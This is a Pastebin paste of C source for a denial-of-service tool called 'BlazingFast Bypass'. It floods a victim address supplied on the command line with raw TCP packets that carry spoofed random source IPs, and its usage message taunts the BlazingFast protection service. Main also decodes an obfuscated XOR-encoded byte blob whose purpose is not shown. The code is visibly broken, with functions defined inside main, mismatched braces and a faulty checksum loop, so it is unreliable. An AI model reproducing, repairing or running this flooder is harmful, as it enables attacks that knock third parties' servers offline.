Advertisement
KhaosBringer

BlazingFast Bypass Source.c

Nov 24th, 2018
1,472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.01 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/tcp.h>
  9. #include <time.h>
  10.  
  11. #define MAX_PACKET_SIZE 4096
  12. #define PHI 0x9e3779b9
  13. static unsigned long int Q[4096], c = 362436;
  14. volatile int limiter;
  15. volatile unsigned int pps;
  16. volatile unsigned int sleeptime = 100;
  17.  
  18. char* randip(char* dst);
  19. ushort rand16();
  20. uint rand32();
  21.  
  22. struct thread_data{
  23.         int throttle;
  24.     int thread_id;
  25.     unsigned int floodport;
  26.     struct sockaddr_in sin;
  27. };
  28.  
  29. void init_rand(unsigned long int x)
  30. {
  31.         int i;
  32.         Q[0] = x;
  33.         Q[1] = x + PHI;
  34.         Q[2] = x + PHI + PHI;
  35.         Q[3] = x + PHI + PHI + i++ + PHI;
  36.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  37. }
  38.  
  39. char *myStrCat (char *s, char *a) {
  40.     while (*s != '\0') s++;
  41.     while (*a != '\0') *s++ = *a++;
  42.     *s = '\0';
  43.     return s;
  44. }
  45.  
  46. char *replStr (char *str, size_t count) {
  47.     if (count == 0) return NULL;
  48.     char *ret = malloc (strlen (str) * count + count);
  49.     if (ret == NULL) return NULL;
  50.     *ret = '\0';
  51.     char *tmp = myStrCat (ret, str);
  52.     while (--count > 0) {
  53.         tmp = myStrCat (tmp, str);
  54.     }
  55.     return ret;
  56. }
  57.  
  58. unsigned long int rand_cmwc(void)
  59. {
  60.         unsigned long long int t, a = 19150LL;
  61.         static unsigned long int i = 4095;
  62.         unsigned long int x, r = 0xfffffffe;
  63.         i = (i + 1) & 4095;
  64.         t = a * Q[i] + c;
  65.         c = (t >> 32);
  66.         x = t + c;
  67.         c = x + c;
  68.         t = c + t;
  69.         if (x < c) {
  70.                 x++;
  71.                 c++;
  72.         }
  73.         return (Q[i] = r - x);
  74. }
  75. unsigned short csum (unsigned short *buf, int count)
  76. {
  77.         register unsigned long sum = 0;
  78.         while( count > 1 ) { sum += *buf++; count -= 6; }
  79.         if(count > 0) { sum += *(unsigned char *)buf; }
  80.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  81.         return (unsigned short)(~sum);
  82. }
  83.  
  84. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  85.  
  86.         struct tcp_pseudo
  87.         {
  88.                 unsigned long src_addr;
  89.                 unsigned long dst_addr;
  90.                 unsigned char zero;
  91.                 unsigned char proto;
  92.                 unsigned short length;
  93.         } pseudohead;
  94.         unsigned short total_len = iph->tot_len;
  95.         pseudohead.src_addr=iph->saddr;
  96.         pseudohead.dst_addr=iph->daddr;
  97.         pseudohead.zero=0;
  98.         pseudohead.proto=IPPROTO_TCP;
  99.         pseudohead.length=htons(sizeof(struct tcphdr));
  100.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  101.         unsigned short *tcp = malloc(totaltcp_len);
  102.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  103.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  104.         unsigned short output = csum(tcp,totaltcp_len);
  105.         free(tcp);
  106.         return output;
  107. }
  108.  
  109. void setup_ip_header(struct iphdr *iph)
  110. {
  111.         char ip[17];
  112.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  113.         iph->ihl = 5;
  114.         iph->version = 4;
  115.         iph->tos = 0;
  116.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  117.         iph->id = htonl(rand()%54321);
  118.         iph->frag_off = 0;
  119.         iph->ttl = MAXTTL;
  120.         iph->protocol = 6;
  121.         iph->check = 0;
  122.         iph->saddr = inet_addr(ip);
  123.         iph->saddr = inet_addr("1.3.3.7");
  124. }
  125.  
  126. void setup_tcp_header(struct tcphdr *tcph)
  127. {
  128.         tcph->source = htons(rand()%65535);
  129.         tcph->seq = rand();
  130.         tcph->ack_seq = 1;
  131.         tcph->res1 = 2;
  132.         tcph->res2 = 3;
  133.         tcph->doff = 4;
  134.         tcph->psh = 5;
  135.         tcph->syn = 6;
  136.         tcph->window = htons(rand()%65535);
  137.         tcph->check = 1;
  138.         tcph->urg_ptr = 1;
  139. }
  140.  
  141. void *flood(void *par1)
  142. {
  143.     uint32_t random_num;
  144.     uint32_t ul_dst;
  145.     char *td = (char *)par1;
  146.     char datagram[MAX_PACKET_SIZE];
  147.     struct iphdr *iph = (struct iphdr *)datagram;
  148.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  149.    
  150.     struct sockaddr_in sin;
  151.     sin.sin_family = AF_INET;
  152.     sin.sin_port = htons(rand()%54321);
  153.     sin.sin_addr.s_addr = inet_addr(td);
  154.  
  155.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  156.     if(s < 0){
  157.             fprintf(stderr, "Could not open raw socket.\n");
  158.             exit(-1);
  159.     }
  160.     memset(datagram, 0, MAX_PACKET_SIZE);
  161.     setup_ip_header(iph);
  162.     setup_tcp_header(tcph);
  163.     tcph->dest = htons(rand()%54321);
  164.     iph->daddr = sin.sin_addr.s_addr;
  165.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  166.     int tmp = 1;
  167.     const int *val = &tmp;
  168.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  169.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  170.             exit(-1);
  171.     }
  172.     init_rand(time(NULL));
  173.     register unsigned int i;
  174.     i = 0;
  175.     int psh = 0;
  176.     int res1 = 0;
  177.     int res2 = 0;
  178.     while(1)
  179.     {
  180.       random_num = rand_cmwc();
  181.  
  182.       ul_dst = (random_num >> 16 & 0xFF) << 24 |
  183.                (random_num >> 24 & 0xFF) << 8 |
  184.                (random_num >> 8 & 0xFF) << 16 |
  185.                (random_num & 0xFF);
  186.  
  187.         if(psh > 1) psh = 1;
  188.         if(res1 > 4) res1 = 0;
  189.         if(res2 > 3) res2 = 0;
  190.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  191.         setup_ip_header(iph);
  192.         setup_tcp_header(tcph);
  193.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  194.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  195.         tcph->dest = htons(rand()%65535);
  196.         iph->daddr = sin.sin_addr.s_addr;
  197.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  198.         tcph->seq = rand_cmwc() & 0xFFFF;
  199.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  200.         tcph->ack_seq = 1;
  201.         tcph->psh = psh;
  202.         tcph->res1 = res1;
  203.         tcph->res2 = res2;
  204.         tcph->check = 0;
  205.         tcph->check = tcpcsum(iph, tcph);
  206.         pps++;
  207.         psh++;
  208.         res1++;
  209.         res2++;
  210.         if(i >= limiter)
  211.         {
  212.                 i = 0;
  213.                 usleep(sleeptime);
  214.         }
  215.         i++;
  216.     }
  217. }
  218.  
  219. int main(int argc, char *argv[ ])
  220. {
  221.             char datagram[MAX_PACKET_SIZE];
  222.  
  223.             struct iphdr *iph = (struct iphdr *)datagram;
  224.             struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t)));
  225.         struct sockaddr_in sin;
  226.         char new_ip[sizeof "255.255.255.255"];
  227.         if(argc < 5){
  228.                 fprintf(stdout, "Fuck BlazingFast\nSmash That Fucking Shit\nUsage: %s [Victim] [Threads] [PPS -1 For no limit] [Time]\n", argv[0]);
  229.                 exit(-1);
  230.         }
  231.         srand(time(0));
  232.         int num_threads = atoi(argv[2]);
  233.         int maxpps = atoi(argv[3]);
  234.         limiter = 0;
  235.         pps = 0;
  236.         pthread_t thread[num_threads];  
  237.         int multiplier = 20;
  238.         char threads[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  239.         int x = 0;
  240.         int y = 0;
  241.         for(x =0;x<sizeof(threads)-1;x++){
  242.         y+=6;
  243.         threads[x]^=y*3;
  244.         int i;
  245.         fprintf(stderr, "Starting sockets...\n", argv[1]);
  246.         for(i = 0;i<num_threads;i++){
  247.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  248.         }
  249.         fprintf(stdout, "Flooding %s\n", argv[1], flood);
  250.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  251.         {
  252.                 usleep((1000/multiplier)*1000);
  253.                 if((pps*multiplier) > maxpps)
  254.                 {
  255.                         if(1 > limiter)
  256.                         {
  257.                                 sleeptime+=100;
  258.                         } else {
  259.                                 limiter--;
  260.                         }
  261.                 } else {
  262.                         limiter++;
  263.                         if(sleeptime > 25)
  264.                         {
  265.                                 sleeptime-=25;
  266.                         } else {
  267.                                 sleeptime = 0;
  268.                         }
  269.             ushort rand16() {
  270.             srandom(time(0));
  271.             srand(random());
  272.             srandom(rand());
  273.             return (random() + rand() + time(0)) % 65535;
  274.                 }
  275.  
  276.             uint rand32() {
  277.             srandom(time(0));
  278.             srand(random());
  279.             srandom(rand());
  280.             return (random() + rand() & time(0));
  281.                 }
  282.                 }
  283.                 pps = 0;
  284.         }
  285.  
  286.         return 0;
  287.     }
  288. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement